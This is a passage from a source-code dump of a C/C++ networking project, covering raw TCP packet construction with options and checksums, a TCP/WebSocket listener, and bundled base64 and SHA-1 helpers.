45 | *(unsigned short*)(options+pos) = 1386; //MSS
46 | pos += 2;
47 | set_option(options, pos, 4, 2) //SACK
48 | options[pos++] = 1; //NOP
49 | set_option(options, pos, 3, 3)
50 | options[pos++] = 0; //Scale
51 | set_option(options, pos, 8, 10) //timestamp
52 | echo = htonl(heartbeat++);
53 | memcpy(options+pos, &echo, 4); //timestamp
54 | pos += 4;
55 | tstamp = htonl(opts->tstamp);
56 | memcpy(options+pos, &tstamp, 4); //timestamp echo
57 | return options;
58 | }
59 | #endif
60 |
61 | char* construct_tcp(int sport, int dport, const u_char *payload, int payload_size,
62 | struct tcphdr_bsd* tcp_in, const char* srcIP, const char* dstIP,
63 | struct Options* opts, int &packet_size) {
64 | int tcp_opt_size = 0;
65 | char *packet, *data;
66 | // struct mytcphdr *tcp;
67 | struct pseudohdr *pseudoheader;
68 | #ifdef ADDOPTIONS
69 | unsigned char *optlist;
70 | unsigned char *options = make_options(tcp_opt_size, opts);
71 | #endif
72 |
73 | packet_size = TCPHDR_SIZE + tcp_opt_size + payload_size;
74 | packet = (char*)malloc(PSEUDOHDR_SIZE + packet_size);
75 | if (packet == NULL) {
76 | perror("[send_tcphdr] malloc()");
77 | return NULL;
78 | }
79 | pseudoheader = (struct pseudohdr*) packet;
80 | struct mytcphdr* tcp = (struct mytcphdr*) (packet+PSEUDOHDR_SIZE);
81 | #ifdef ADDOPTIONS
82 | optlist = (unsigned char*) (packet+PSEUDOHDR_SIZE+TCPHDR_SIZE);
83 | #endif
84 | data = (char*) (packet+PSEUDOHDR_SIZE+TCPHDR_SIZE+tcp_opt_size);
85 |
86 | memset(packet, 0, PSEUDOHDR_SIZE+packet_size);
87 |
88 | inet_pton(AF_INET, srcIP, &pseudoheader->saddr);
89 | inet_pton(AF_INET, dstIP, &pseudoheader->daddr);
90 |
91 | /* tcp pseudo header */
92 | // memcpy(&pseudoheader->saddr, &local.sin_addr.s_addr, 4);
93 | // memcpy(&pseudoheader->daddr, &remote.sin_addr.s_addr, 4);
94 | pseudoheader->protocol = 6; /* tcp */
95 | pseudoheader->lenght = htons(TCPHDR_SIZE+tcp_opt_size+payload_size);
96 |
97 | /* tcp header */
98 | tcp->th_dport = htons(dport);
99 | tcp->th_sport = htons(sport);
100 |
101 | /* sequence number and ack are random if not set */
102 | tcp->th_seq = htonl(tcp_in->th_seq);
103 | tcp->th_ack = htonl(tcp_in->th_ack);
104 |
105 |
106 |
107 |
108 | tcp->th_off = (TCPHDR_SIZE + tcp_opt_size) >> 2 ;
109 | tcp->th_win = htons(tcp_in->th_win);
110 | tcp->th_flags = tcp_in->th_flags;
111 |
112 | /* data */
113 | // data_handler(data, payload, payload_size);
114 | #ifdef ADDOPTIONS
115 | if (tcp_opt_size > 0) memcpy(optlist, options, tcp_opt_size);
116 | #endif
117 | memcpy(data, payload, payload_size);
118 |
119 | /* compute checksum */
120 | #ifdef STUPID_SOLARIS_CHECKSUM_BUG
121 | tcp->th_sum = packet_size;
122 | #else
123 | tcp->th_sum = cksum((u_short*) packet, PSEUDOHDR_SIZE +
124 | packet_size);
125 | #endif
126 |
127 | #ifdef ADDOPTIONS
128 | if (options) free(options);
129 | #endif
130 |
131 | return packet+PSEUDOHDR_SIZE;
132 | }
133 |
134 | void release_tcp(char* tcp) {
135 | free(tcp - PSEUDOHDR_SIZE);
136 | }
137 |
138 | void send_tcp(int sport, int dport, int id, int ttl, const u_char *payload, int payload_size,
139 | struct tcphdr_bsd* tcp_in, const char* srcIP, const char* dstIP,
140 | struct Options* opts)
141 | {
142 | int packet_size;
143 | char* packet = construct_tcp(sport, dport, payload, payload_size,
144 | tcp_in, srcIP, dstIP, opts, packet_size);
145 |
146 | /* adds this pkt in delaytable */
147 | // delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT);
148 |
149 | /* send packet */
150 | send_ip_handler(0, ttl, (char*)srcIP, (char*)dstIP, packet, packet_size);
151 | release_tcp(packet);
152 | }
153 |
--------------------------------------------------------------------------------
/server/src/server.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "server.h"
4 | #include "websocket/websocket.h"
5 |
6 | int Global_websocket_fd = -1;
7 | pthread_mutex_t socket_lock, nfq_lock;
8 |
9 | void* server_listening(void* data) {
10 | int sockfd, newsockfd, portno = MYPORT;
11 | socklen_t clilen;
12 | // char buffer[256];
13 | struct sockaddr_in serv_addr, cli_addr;
14 | // int n;
15 | int optval = 1;
16 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
17 | perror("Error opening socket");
18 | }
19 | setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval);
20 | setsockopt(sockfd, IPPROTO_TCP, TCP_NODELAY, &optval, sizeof optval);
21 | bzero((char *) &serv_addr, sizeof(serv_addr));
22 | serv_addr.sin_family = AF_INET;
23 | serv_addr.sin_addr.s_addr = INADDR_ANY;
24 | serv_addr.sin_port = htons(portno);
25 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
26 | perror("Error on binding");
27 | }
28 | printf("server listening on %d\n", portno);
29 | listen(sockfd, 5);
30 | clilen = sizeof(cli_addr);
31 |
32 | while (1) {
33 | printf("waiting for connection\n");
34 | pthread_mutex_lock(&nfq_lock);
35 | pthread_mutex_lock(&socket_lock);
36 | if ((newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen)) == -1) {
37 | printf("Error on accept\n");
38 | continue;
39 | }
40 | printf("accept\n");
41 | Global_websocket_fd = newsockfd;
42 | pthread_mutex_unlock(&socket_lock);
43 | }
44 |
45 | close(sockfd);
46 | return NULL;
47 | }
48 |
49 | void* websocket_listening(void* data) {
50 | int sockfd, newsockfd;
51 | // uint64_t length;
52 | // unsigned char buffer[1024];
53 |
54 | websocket_init(sockfd, MYPORT);
55 | while (1) {
56 | pthread_mutex_lock(&nfq_lock);
57 | pthread_mutex_lock(&socket_lock);
58 | if (websocket_accept(sockfd, newsockfd) <0) {
59 | printf("%s: %d\n", "Error on accept", newsockfd);
60 | continue;
61 | }
62 | printf("accept\n");
63 | if (websocket_handshake(newsockfd) < 0) {
64 | continue;
65 | }
66 | printf("complete handshake\n");
67 |
68 | Global_websocket_fd = newsockfd;
69 | pthread_mutex_unlock(&socket_lock);
70 | }
71 | websocket_close(sockfd);
72 | return NULL;
73 | }
74 |
75 | void thread_server_start() {
76 | pthread_t child;
77 | pthread_attr_t attr;
78 |
79 | pthread_attr_init(&attr);
80 | pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
81 | pthread_mutex_init(&socket_lock, NULL);
82 | pthread_mutex_init(&nfq_lock, NULL);
83 |
84 | #ifdef WEBSOCKET
85 | if (pthread_create(&child, &attr, websocket_listening, NULL) != 0) {
86 | perror("thread create\n");
87 | }
88 | #else
89 | if (pthread_create(&child, &attr, server_listening, NULL) != 0) {
90 | perror("thread create\n");
91 | }
92 | #endif
93 | }
94 |
95 | static bool if_exist(struct Hosts* hosts, char* ip) {
96 | for (int i = 0; i < hosts->num; i++) {
97 | if (!strcmp(hosts->ips[i], ip)) {
98 | return true;
99 | }
100 | }
101 | return false;
102 | }
103 |
104 | struct Hosts* getipbyhostname(char* hostname) {
105 | int rv;
106 | struct addrinfo hints, *servinfo, *p;
107 | struct sockaddr_in *addr;
108 | struct Hosts* ret = (struct Hosts*)malloc(sizeof(struct Hosts));
109 | char* s = NULL;
110 | ret->num = 0;
111 | memset(&hints, 0, sizeof hints);
112 | if ((rv = getaddrinfo(hostname, "http", &hints, &servinfo)) != 0) {
113 | fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
114 | exit(1);
115 | }
116 |
117 | for (p = servinfo; p != NULL; p = p->ai_next) {
118 | if (p->ai_addr && p->ai_family == AF_INET) {
119 | printf("find one\n");
120 | addr = (struct sockaddr_in*)(p->ai_addr);
121 | s = (char*)malloc(INET_ADDRSTRLEN);
122 | inet_ntop(AF_INET, &(addr->sin_addr), s, INET_ADDRSTRLEN);
123 | if (!if_exist(ret, s)) {
124 | ret->ips[ret->num++] = s;
125 | }
126 | // return s;
127 | // break;
128 | }
129 | }
130 | return ret;
131 | }
--------------------------------------------------------------------------------
/server/src/server.h:
--------------------------------------------------------------------------------
1 | #ifndef SERVER_H
2 | #define SERVER_H
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | //global variables
17 | extern int Global_websocket_fd;
18 | extern pthread_mutex_t socket_lock, nfq_lock;
19 |
20 | struct Hosts {
21 | int num;
22 | char* ips[5];
23 | };
24 |
25 | void thread_server_start();
26 | struct Hosts* getipbyhostname(char* hostname);
27 |
28 | #endif
--------------------------------------------------------------------------------
/server/src/websocket/Makefile:
--------------------------------------------------------------------------------
1 | LIBS =
2 | SRC = main.c \
3 | websocket.c \
4 | sha1.c \
5 | base64.c
6 | HEADER = -I/usr/include
7 | CXXFLAGS = -Wall -O2
8 | OBJS = $(SRC:%.c=%.o)
9 | CC = g++
10 | all: $(OBJS)
11 | $(CC) -o websocket $^ $(CXXFLAGS) $(HEADER) $(LIBS)
12 |
13 | main.o: main.c websocket.h
14 | $(CC) $(CXXFLAGS) -c $< -o $@
15 | websocket.o: websocket.c websocket.h sha1.h base64.h
16 | $(CC) $(CXXFLAGS) -c $< -o $@
17 | sha1.o: sha1.c sha1.h
18 | $(CC) $(CXXFLAGS) -c $< -o $@
19 | base64.o: base64.c base64.h
20 | $(CC) $(CXXFLAGS) -c $< -o $@
21 | clean:
22 | rm -f *.o
23 |
--------------------------------------------------------------------------------
/server/src/websocket/base64.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include "base64.h"
6 |
7 | /**
8 | * characters used for Base64 encoding
9 | */
10 | const char *BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
11 |
12 | /**
13 | * encode three bytes using base64 (RFC 3548)
14 | *
15 | * @param triple three bytes that should be encoded
16 | * @param result buffer of four characters where the result is stored
17 | */
18 | void _base64_encode_triple(unsigned char triple[3], char result[4])
19 | {
20 | int tripleValue, i;
21 |
22 | tripleValue = triple[0];
23 | tripleValue *= 256;
24 | tripleValue += triple[1];
25 | tripleValue *= 256;
26 | tripleValue += triple[2];
27 |
28 | for (i=0; i<4; i++)
29 | {
30 | result[3-i] = BASE64_CHARS[tripleValue%64];
31 | tripleValue /= 64;
32 | }
33 | }
34 |
35 | /**
36 | * encode an array of bytes using Base64 (RFC 3548)
37 | *
38 | * @param source the source buffer
39 | * @param sourcelen the length of the source buffer
40 | * @param target the target buffer
41 | * @param targetlen the length of the target buffer
42 | * @return 1 on success, 0 otherwise
43 | */
44 | int base64_encode(unsigned char *source, size_t sourcelen, char *target, size_t targetlen)
45 | {
46 | /* check if the result will fit in the target buffer */
47 | if ((sourcelen+2)/3*4 > targetlen-1)
48 | return 0;
49 |
50 | /* encode all full triples */
51 | while (sourcelen >= 3)
52 | {
53 | _base64_encode_triple(source, target);
54 | sourcelen -= 3;
55 | source += 3;
56 | target += 4;
57 | }
58 |
59 | /* encode the last one or two characters */
60 | if (sourcelen > 0)
61 | {
62 | unsigned char temp[3];
63 | memset(temp, 0, sizeof(temp));
64 | memcpy(temp, source, sourcelen);
65 | _base64_encode_triple(temp, target);
66 | target[3] = '=';
67 | if (sourcelen == 1)
68 | target[2] = '=';
69 |
70 | target += 4;
71 | }
72 |
73 | /* terminate the string */
74 | target[0] = 0;
75 |
76 | return 1;
77 | }
78 |
79 | /**
80 | * determine the value of a base64 encoding character
81 | *
82 | * @param base64char the character of which the value is searched
83 | * @return the value in case of success (0-63), -1 on failure
84 | */
85 | int _base64_char_value(char base64char)
86 | {
87 | if (base64char >= 'A' && base64char <= 'Z')
88 | return base64char-'A';
89 | if (base64char >= 'a' && base64char <= 'z')
90 | return base64char-'a'+26;
91 | if (base64char >= '0' && base64char <= '9')
92 | return base64char-'0'+2*26;
93 | if (base64char == '+')
94 | return 2*26+10;
95 | if (base64char == '/')
96 | return 2*26+11;
97 | return -1;
98 | }
99 |
100 | /**
101 | * decode a 4 char base64 encoded byte triple
102 | *
103 | * @param quadruple the 4 characters that should be decoded
104 | * @param result the decoded data
105 | * @return lenth of the result (1, 2 or 3), 0 on failure
106 | */
107 | int _base64_decode_triple(char quadruple[4], unsigned char *result)
108 | {
109 | int i, triple_value, bytes_to_decode = 3, only_equals_yet = 1;
110 | int char_value[4];
111 |
112 | for (i=0; i<4; i++)
113 | char_value[i] = _base64_char_value(quadruple[i]);
114 |
115 | /* check if the characters are valid */
116 | for (i=3; i>=0; i--)
117 | {
118 | if (char_value[i]<0)
119 | {
120 | if (only_equals_yet && quadruple[i]=='=')
121 | {
122 | /* we will ignore this character anyway, make it something
123 | * that does not break our calculations */
124 | char_value[i]=0;
125 | bytes_to_decode--;
126 | continue;
127 | }
128 | return 0;
129 | }
130 | /* after we got a real character, no other '=' are allowed anymore */
131 | only_equals_yet = 0;
132 | }
133 |
134 | /* if we got "====" as input, bytes_to_decode is -1 */
135 | if (bytes_to_decode < 0)
136 | bytes_to_decode = 0;
137 |
138 | /* make one big value out of the partial values */
139 | triple_value = char_value[0];
140 | triple_value *= 64;
141 | triple_value += char_value[1];
142 | triple_value *= 64;
143 | triple_value += char_value[2];
144 | triple_value *= 64;
145 | triple_value += char_value[3];
146 |
147 | /* break the big value into bytes */
148 | for (i=bytes_to_decode; i<3; i++)
149 | triple_value /= 256;
150 | for (i=bytes_to_decode-1; i>=0; i--)
151 | {
152 | result[i] = triple_value%256;
153 | triple_value /= 256;
154 | }
155 |
156 | return bytes_to_decode;
157 | }
158 |
159 | /**
160 | * decode base64 encoded data
161 | *
162 | * @param source the encoded data (zero terminated)
163 | * @param target pointer to the target buffer
164 | * @param targetlen length of the target buffer
165 | * @return length of converted data on success, -1 otherwise
166 | */
167 | size_t base64_decode(char *source, unsigned char *target, size_t targetlen)
168 | {
169 | char *src, *tmpptr;
170 | char quadruple[4];
171 | unsigned char tmpresult[3];
172 | int i, tmplen = 3;
173 | size_t converted = 0;
174 |
175 | /* concatinate '===' to the source to handle unpadded base64 data */
176 | src = (char *)malloc(strlen(source)+5);
177 | if (src == NULL)
178 | return -1;
179 | strcpy(src, source);
180 | strcat(src, "====");
181 | tmpptr = src;
182 |
183 | /* convert as long as we get a full result */
184 | while (tmplen == 3)
185 | {
186 | /* get 4 characters to convert */
187 | for (i=0; i<4; i++)
188 | {
189 | /* skip invalid characters - we won't reach the end */
190 | while (*tmpptr != '=' && _base64_char_value(*tmpptr)<0)
191 | tmpptr++;
192 |
193 | quadruple[i] = *(tmpptr++);
194 | }
195 |
196 | /* convert the characters */
197 | tmplen = _base64_decode_triple(quadruple, tmpresult);
198 |
199 | /* check if the fit in the result buffer */
200 | if (targetlen < tmplen)
201 | {
202 | free(src);
203 | return -1;
204 | }
205 |
206 | /* put the partial result in the result buffer */
207 | memcpy(target, tmpresult, tmplen);
208 | target += tmplen;
209 | targetlen -= tmplen;
210 | converted += tmplen;
211 | }
212 |
213 | free(src);
214 | return converted;
215 | }
216 |
217 |
--------------------------------------------------------------------------------
/server/src/websocket/base64.h:
--------------------------------------------------------------------------------
1 | #ifndef BASE64_H_
2 | #define BASE64_H_
3 |
4 | int base64_encode(unsigned char *source, size_t sourcelen, char *target, size_t targetlen);
5 | void _base64_encode_triple(unsigned char triple[3], char result[4]);
6 | int _base64_char_value(char base64char);
7 | int _base64_decode_triple(char quadruple[4], unsigned char *result);
8 | size_t base64_decode(char *source, unsigned char *target, size_t targetlen);
9 |
10 | #endif
11 |
--------------------------------------------------------------------------------
/server/src/websocket/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include "websocket.h"
6 |
7 | int main() {
8 | int sockfd, newsockfd;
9 | uint64_t length;
10 | unsigned char buffer[1024];
11 |
12 | websocket_init(sockfd, 30006);
13 | if (websocket_accept(sockfd, newsockfd) <0) {
14 | printf("%s: %d\n", "Error on accept", newsockfd);
15 | return 1;
16 | }
17 | printf("Accept: %d\n", newsockfd);
18 | printf("Start handshake\n");
19 |
20 | if (websocket_handshake(newsockfd) < 0) {
21 | return 1;
22 | }
23 | printf("handshake successfully\n");
24 |
25 | if ((length = websocket_recv_frag(newsockfd, buffer, 1024)) > 0) {
26 | buffer[length] = '\0';
27 | printf("%s\n", buffer);
28 |
29 | websocket_send_frame(newsockfd, buffer, strlen((char*)buffer), TEXT_FRAME, 1);
30 | }
31 |
32 | websocket_close(newsockfd);
33 | websocket_close(sockfd);
34 | return 0;
35 | }
--------------------------------------------------------------------------------
/server/src/websocket/sha1.c:
--------------------------------------------------------------------------------
1 | /*
2 | * sha1.c
3 | *
4 | * Copyright (C) 1998, 2009
5 | * Paul E. Jones
6 | * All Rights Reserved
7 | *
8 | *****************************************************************************
9 | * $Id: sha1.c 12 2009-06-22 19:34:25Z paulej $
10 | *****************************************************************************
11 | *
12 | * Description:
13 | * This file implements the Secure Hashing Standard as defined
14 | * in FIPS PUB 180-1 published April 17, 1995.
15 | *
16 | * The Secure Hashing Standard, which uses the Secure Hashing
17 | * Algorithm (SHA), produces a 160-bit message digest for a
18 | * given data stream. In theory, it is highly improbable that
19 | * two messages will produce the same message digest. Therefore,
20 | * this algorithm can serve as a means of providing a "fingerprint"
21 | * for a message.
22 | *
23 | * Portability Issues:
24 | * SHA-1 is defined in terms of 32-bit "words". This code was
25 | * written with the expectation that the processor has at least
26 | * a 32-bit machine word size. If the machine word size is larger,
27 | * the code should still function properly. One caveat to that
28 | * is that the input functions taking characters and character
29 | * arrays assume that only 8 bits of information are stored in each
30 | * character.
31 | *
32 | * Caveats:
33 | * SHA-1 is designed to work with messages less than 2^64 bits
34 | * long. Although SHA-1 allows a message digest to be generated for
35 | * messages of any number of bits less than 2^64, this
36 | * implementation only works with messages with a length that is a
37 | * multiple of the size of an 8-bit character.
38 | *
39 | */
40 |
41 | #include "sha1.h"
42 |
43 | /*
44 | * Define the circular shift macro
45 | */
46 | #define SHA1CircularShift(bits,word) \
47 | ((((word) << (bits)) & 0xFFFFFFFF) | \
48 | ((word) >> (32-(bits))))
49 |
50 | /* Function prototypes */
51 | void SHA1ProcessMessageBlock(SHA1Context *);
52 | void SHA1PadMessage(SHA1Context *);
53 |
54 | /*
55 | * SHA1Reset
56 | *
57 | * Description:
58 | * This function will initialize the SHA1Context in preparation
59 | * for computing a new message digest.
60 | *
61 | * Parameters:
62 | * context: [in/out]
63 | * The context to reset.
64 | *
65 | * Returns:
66 | * Nothing.
67 | *
68 | * Comments:
69 | *
70 | */
71 | void SHA1Reset(SHA1Context *context)
72 | {
73 | context->Length_Low = 0;
74 | context->Length_High = 0;
75 | context->Message_Block_Index = 0;
76 |
77 | context->Message_Digest[0] = 0x67452301;
78 | context->Message_Digest[1] = 0xEFCDAB89;
79 | context->Message_Digest[2] = 0x98BADCFE;
80 | context->Message_Digest[3] = 0x10325476;
81 | context->Message_Digest[4] = 0xC3D2E1F0;
82 |
83 | context->Computed = 0;
84 | context->Corrupted = 0;
85 | }
86 |
87 | /*
88 | * SHA1Result
89 | *
90 | * Description:
91 | * This function will return the 160-bit message digest into the
92 | * Message_Digest array within the SHA1Context provided
93 | *
94 | * Parameters:
95 | * context: [in/out]
96 | * The context to use to calculate the SHA-1 hash.
97 | *
98 | * Returns:
99 | * 1 if successful, 0 if it failed.
100 | *
101 | * Comments:
102 | *
103 | */
104 | int SHA1Result(SHA1Context *context)
105 | {
106 |
107 | if (context->Corrupted)
108 | {
109 | return 0;
110 | }
111 |
112 | if (!context->Computed)
113 | {
114 | SHA1PadMessage(context);
115 | context->Computed = 1;
116 | }
117 |
118 | return 1;
119 | }
120 |
121 | /*
122 | * SHA1Input
123 | *
124 | * Description:
125 | * This function accepts an array of octets as the next portion of
126 | * the message.
127 | *
128 | * Parameters:
129 | * context: [in/out]
130 | * The SHA-1 context to update
131 | * message_array: [in]
132 | * An array of characters representing the next portion of the
133 | * message.
134 | * length: [in]
135 | * The length of the message in message_array
136 | *
137 | * Returns:
138 | * Nothing.
139 | *
140 | * Comments:
141 | *
142 | */
143 | void SHA1Input( SHA1Context *context,
144 | const unsigned char *message_array,
145 | unsigned length)
146 | {
147 | if (!length)
148 | {
149 | return;
150 | }
151 |
152 | if (context->Computed || context->Corrupted)
153 | {
154 | context->Corrupted = 1;
155 | return;
156 | }
157 |
158 | while(length-- && !context->Corrupted)
159 | {
160 | context->Message_Block[context->Message_Block_Index++] =
161 | (*message_array & 0xFF);
162 |
163 | context->Length_Low += 8;
164 | /* Force it to 32 bits */
165 | context->Length_Low &= 0xFFFFFFFF;
166 | if (context->Length_Low == 0)
167 | {
168 | context->Length_High++;
169 | /* Force it to 32 bits */
170 | context->Length_High &= 0xFFFFFFFF;
171 | if (context->Length_High == 0)
172 | {
173 | /* Message is too long */
174 | context->Corrupted = 1;
175 | }
176 | }
177 |
178 | if (context->Message_Block_Index == 64)
179 | {
180 | SHA1ProcessMessageBlock(context);
181 | }
182 |
183 | message_array++;
184 | }
185 | }
186 |
187 | /*
188 | * SHA1ProcessMessageBlock
189 | *
190 | * Description:
191 | * This function will process the next 512 bits of the message
192 | * stored in the Message_Block array.
193 | *
194 | * Parameters:
195 | * None.
196 | *
197 | * Returns:
198 | * Nothing.
199 | *
200 | * Comments:
201 | * Many of the variable names in the SHAContext, especially the
202 | * single character names, were used because those were the names
203 | * used in the publication.
204 | *
205 | *
206 | */
207 | void SHA1ProcessMessageBlock(SHA1Context *context)
208 | {
209 | const unsigned K[] = /* Constants defined in SHA-1 */
210 | {
211 | 0x5A827999,
212 | 0x6ED9EBA1,
213 | 0x8F1BBCDC,
214 | 0xCA62C1D6
215 | };
216 | int t; /* Loop counter */
217 | unsigned temp; /* Temporary word value */
218 | unsigned W[80]; /* Word sequence */
219 | unsigned A, B, C, D, E; /* Word buffers */
220 |
221 | /*
222 | * Initialize the first 16 words in the array W
223 | */
224 | for(t = 0; t < 16; t++)
225 | {
226 | W[t] = ((unsigned) context->Message_Block[t * 4]) << 24;
227 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 1]) << 16;
228 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 2]) << 8;
229 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 3]);
230 | }
231 |
232 | for(t = 16; t < 80; t++)
233 | {
234 | W[t] = SHA1CircularShift(1,W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16]);
235 | }
236 |
237 | A = context->Message_Digest[0];
238 | B = context->Message_Digest[1];
239 | C = context->Message_Digest[2];
240 | D = context->Message_Digest[3];
241 | E = context->Message_Digest[4];
242 |
243 | for(t = 0; t < 20; t++)
244 | {
245 | temp = SHA1CircularShift(5,A) +
246 | ((B & C) | ((~B) & D)) + E + W[t] + K[0];
247 | temp &= 0xFFFFFFFF;
248 | E = D;
249 | D = C;
250 | C = SHA1CircularShift(30,B);
251 | B = A;
252 | A = temp;
253 | }
254 |
255 | for(t = 20; t < 40; t++)
256 | {
257 | temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[1];
258 | temp &= 0xFFFFFFFF;
259 | E = D;
260 | D = C;
261 | C = SHA1CircularShift(30,B);
262 | B = A;
263 | A = temp;
264 | }
265 |
266 | for(t = 40; t < 60; t++)
267 | {
268 | temp = SHA1CircularShift(5,A) +
269 | ((B & C) | (B & D) | (C & D)) + E + W[t] + K[2];
270 | temp &= 0xFFFFFFFF;
271 | E = D;
272 | D = C;
273 | C = SHA1CircularShift(30,B);
274 | B = A;
275 | A = temp;
276 | }
277 |
278 | for(t = 60; t < 80; t++)
279 | {
280 | temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[3];
281 | temp &= 0xFFFFFFFF;
282 | E = D;
283 | D = C;
284 | C = SHA1CircularShift(30,B);
285 | B = A;
286 | A = temp;
287 | }
288 |
289 | context->Message_Digest[0] =
290 | (context->Message_Digest[0] + A) & 0xFFFFFFFF;
291 | context->Message_Digest[1] =
292 | (context->Message_Digest[1] + B) & 0xFFFFFFFF;
293 | context->Message_Digest[2] =
294 | (context->Message_Digest[2] + C) & 0xFFFFFFFF;
295 | context->Message_Digest[3] =
296 | (context->Message_Digest[3] + D) & 0xFFFFFFFF;
297 | context->Message_Digest[4] =
298 | (context->Message_Digest[4] + E) & 0xFFFFFFFF;
299 |
300 | context->Message_Block_Index = 0;
301 | }
302 |
303 | /*
304 | * SHA1PadMessage
305 | *
306 | * Description:
307 | * According to the standard, the message must be padded to an even
308 | * 512 bits. The first padding bit must be a '1'. The last 64
309 | * bits represent the length of the original message. All bits in
310 | * between should be 0. This function will pad the message
311 | * according to those rules by filling the Message_Block array
312 | * accordingly. It will also call SHA1ProcessMessageBlock()
313 | * appropriately. When it returns, it can be assumed that the
314 | * message digest has been computed.
315 | *
316 | * Parameters:
317 | * context: [in/out]
318 | * The context to pad
319 | *
320 | * Returns:
321 | * Nothing.
322 | *
323 | * Comments:
324 | *
325 | */
326 | void SHA1PadMessage(SHA1Context *context)
327 | {
328 | /*
329 | * Check to see if the current message block is too small to hold
330 | * the initial padding bits and length. If so, we will pad the
331 | * block, process it, and then continue padding into a second
332 | * block.
333 | */
334 | if (context->Message_Block_Index > 55)
335 | {
336 | context->Message_Block[context->Message_Block_Index++] = 0x80;
337 | while(context->Message_Block_Index < 64)
338 | {
339 | context->Message_Block[context->Message_Block_Index++] = 0;
340 | }
341 |
342 | SHA1ProcessMessageBlock(context);
343 |
344 | while(context->Message_Block_Index < 56)
345 | {
346 | context->Message_Block[context->Message_Block_Index++] = 0;
347 | }
348 | }
349 | else
350 | {
351 | context->Message_Block[context->Message_Block_Index++] = 0x80;
352 | while(context->Message_Block_Index < 56)
353 | {
354 | context->Message_Block[context->Message_Block_Index++] = 0;
355 | }
356 | }
357 |
358 | /*
359 | * Store the message length as the last 8 octets
360 | */
361 | context->Message_Block[56] = (context->Length_High >> 24) & 0xFF;
362 | context->Message_Block[57] = (context->Length_High >> 16) & 0xFF;
363 | context->Message_Block[58] = (context->Length_High >> 8) & 0xFF;
364 | context->Message_Block[59] = (context->Length_High) & 0xFF;
365 | context->Message_Block[60] = (context->Length_Low >> 24) & 0xFF;
366 | context->Message_Block[61] = (context->Length_Low >> 16) & 0xFF;
367 | context->Message_Block[62] = (context->Length_Low >> 8) & 0xFF;
368 | context->Message_Block[63] = (context->Length_Low) & 0xFF;
369 |
370 | SHA1ProcessMessageBlock(context);
371 | }
372 |
--------------------------------------------------------------------------------
/server/src/websocket/sha1.h:
--------------------------------------------------------------------------------
1 | /*
2 | * sha1.h
3 | *
4 | * Copyright (C) 1998, 2009
5 | * Paul E. Jones
6 | * All Rights Reserved
7 | *
8 | *****************************************************************************
9 | * $Id: sha1.h 12 2009-06-22 19:34:25Z paulej $
10 | *****************************************************************************
11 | *
12 | * Description:
13 | * This class implements the Secure Hashing Standard as defined
14 | * in FIPS PUB 180-1 published April 17, 1995.
15 | *
16 | * Many of the variable names in the SHA1Context, especially the
17 | * single character names, were used because those were the names
18 | * used in the publication.
19 | *
20 | * Please read the file sha1.c for more information.
21 | *
22 | */
23 |
24 | #ifndef _SHA1_H_
25 | #define _SHA1_H_
26 |
27 | /*
28 | * This structure will hold context information for the hashing
29 | * operation
30 | */
31 | typedef struct SHA1Context
32 | {
33 | unsigned Message_Digest[5]; /* Message Digest (output) */
34 |
35 | unsigned Length_Low; /* Message length in bits */
36 | unsigned Length_High; /* Message length in bits */
37 |
38 | unsigned char Message_Block[64]; /* 512-bit message blocks */
39 | int Message_Block_Index; /* Index into message block array */
40 |
41 | int Computed; /* Is the digest computed? */
42 | int Corrupted; /* Is the message digest corruped? */
43 | } SHA1Context;
44 |
45 | /*
46 | * Function Prototypes
47 | */
48 | void SHA1Reset(SHA1Context *);
49 | int SHA1Result(SHA1Context *);
50 | void SHA1Input( SHA1Context *,
51 | const unsigned char *,
52 | unsigned);
53 |
54 | #endif
55 |
--------------------------------------------------------------------------------
/server/src/websocket/websocket.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | #include "sha1.h"
12 | #include "base64.h"
13 | #include "websocket.h"
14 |
15 | #define BUFFER_SIZE 1024
16 |
17 | int websocket_init(int &sockfd, uint16_t port) {
18 | struct sockaddr_in server;
19 | int optval = 1;
20 |
21 | bzero((char *) &server, sizeof(server));
22 | server.sin_family = AF_INET;
23 | server.sin_port = htons(port);
24 | server.sin_addr.s_addr = htonl(INADDR_ANY);
25 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
26 | perror("Error opening socket");
27 | goto error;
28 | }
29 | setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval);
30 | setsockopt(sockfd, IPPROTO_TCP, TCP_NODELAY, &optval, sizeof optval);
31 | if (bind(sockfd, (struct sockaddr *) &server, sizeof(server)) < 0) {
32 | perror("Error on binding");
33 | goto error;
34 | }
35 | printf("server listening on %d\n", port);
36 | listen(sockfd, 5);
37 | return 0;
38 | error:
39 | return -1;
40 | }
41 |
42 | int websocket_accept(int sockfd, int &newsockfd) {
43 | struct sockaddr_in cli_addr;
44 | socklen_t clilen = sizeof(sockaddr_in);
45 | if ((newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen)) == -1) {
46 | perror("Error on accept");
47 | return -1;
48 | }
49 | return 0;
50 | }
51 |
52 | void websocket_close(int sockfd) {
53 | int ret = close(sockfd);
54 | printf("close: %d\n", ret);
55 | }
56 |
